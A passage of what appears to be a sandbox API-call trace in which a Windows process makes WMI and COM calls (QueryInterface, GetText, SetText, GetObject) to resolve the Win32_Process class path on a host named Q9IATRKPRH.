out: pToken=0x1b2fcaa0) returned 0x0 [0073.197] WbemLocator:IUnknown:QueryInterface (in: This=0x1130af0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11dfd30) returned 0x0 [0073.197] WbemLocator:IRpcOptions:Query (in: This=0x11dfd30, pPrx=0x1bece300, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0073.197] WbemLocator:IUnknown:Release (This=0x11dfd30) returned 0x2 [0073.197] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0073.197] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0073.197] WbemLocator:IUnknown:QueryInterface (in: This=0x1130af0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1130af0) returned 0x0 [0073.197] WbemLocator:IUnknown:Release (This=0x1130af0) returned 0x2 [0073.197] SysStringLen (param_1=0x0) returned 0x0 [0073.197] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0073.198] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0073.198] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.198] WbemDefPath:IWbemPath:GetText (in: This=0x116a640, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0073.198] WbemDefPath:IWbemPath:GetText (in: This=0x116a640, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0073.198] IWbemServices:GetObject (in: This=0x1130af0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11eb7a0, ppCallResult=0x0) returned 0x0 [0073.210] IWbemClassObject:Get (in: This=0x11eb7a0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0073.210] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0073.210] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0073.210] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0073.210] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0073.211] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0073.211] IUnknown:Release (This=0x111f638) returned 0x1 [0073.212] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bece2a0) returned 0x0 [0073.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece2a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0073.213] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece2a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x116a1c0) returned 0x0 [0073.213] WbemDefPath:IUnknown:Release (This=0x1bece2a0) returned 0x0 [0073.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x116a1c0) returned 0x0 [0073.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0073.213] WbemDefPath:IUnknown:AddRef (This=0x116a1c0) returned 0x3 [0073.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0073.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0073.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bece2c0) returned 0x0 [0073.213] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece2c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.213] WbemDefPath:IUnknown:Release (This=0x1bece2c0) returned 0x3 [0073.213] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0073.214] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0073.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0073.214] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x2 [0073.214] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x1 [0073.214] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0073.214] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0073.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x116a1c0) returned 0x0 [0073.214] WbemDefPath:IUnknown:AddRef (This=0x116a1c0) returned 0x3 [0073.214] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x2 [0073.214] WbemDefPath:IWbemPath:SetText (This=0x116a1c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0073.214] IWbemClassObject:Get (in: This=0x11eb7a0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0073.214] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0073.214] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0073.214] IWbemClassObject:Get (in: This=0x11eb7a0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0073.214] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0073.215] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0073.215] IWbemClassObject:Get (in: This=0x11eb7a0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0073.215] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0073.215] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0073.215] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.215] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.215] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.215] IUnknown:Release (This=0x111f638) returned 0x1 [0073.217] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bece460) returned 0x0 [0073.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece460, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.217] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece460, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a100) returned 0x0 [0073.217] WbemDefPath:IUnknown:Release (This=0x1bece460) returned 0x0 [0073.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a100) returned 0x0 [0073.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.218] WbemDefPath:IUnknown:AddRef (This=0x116a100) returned 0x3 [0073.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bece4a0) returned 0x0 [0073.218] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece4a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.218] WbemDefPath:IUnknown:Release (This=0x1bece4a0) returned 0x3 [0073.218] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.218] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.218] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x2 [0073.218] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x1 [0073.218] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.218] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a100) returned 0x0 [0073.218] WbemDefPath:IUnknown:AddRef (This=0x116a100) returned 0x3 [0073.218] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x2 [0073.218] WbemDefPath:IWbemPath:SetText (This=0x116a100, uMode=0x4, pszPath="") returned 0x0 [0073.218] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.218] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.219] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.219] IUnknown:Release (This=0x111f638) returned 0x1 [0073.221] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bece460) returned 0x0 [0073.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece460, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.221] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece460, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169f80) returned 0x0 [0073.222] WbemDefPath:IUnknown:Release (This=0x1bece460) returned 0x0 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169f80) returned 0x0 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.222] WbemDefPath:IUnknown:AddRef (This=0x1169f80) returned 0x3 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bece4e0) returned 0x0 [0073.222] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece4e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.222] WbemDefPath:IUnknown:Release (This=0x1bece4e0) returned 0x3 [0073.222] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.222] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.222] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x2 [0073.222] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x1 [0073.222] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.222] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169f80) returned 0x0 [0073.223] WbemDefPath:IUnknown:AddRef (This=0x1169f80) returned 0x3 [0073.223] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x2 [0073.223] WbemDefPath:IWbemPath:SetText (This=0x1169f80, uMode=0x4, pszPath="") returned 0x0 [0073.223] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169f80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.223] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a100, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.223] WbemDefPath:IWbemPath:GetClassName (in: This=0x1169f80, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0073.223] WbemDefPath:IWbemPath:GetServer (in: This=0x1169f80, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0073.223] WbemDefPath:IWbemPath:SetServer (This=0x1169f80, Name="Q9IATRKPRH") returned 0x0 [0073.223] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.223] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.223] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.223] IUnknown:Release (This=0x111f638) returned 0x1 [0073.225] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bece500) returned 0x0 [0073.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece500, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.225] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece500, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 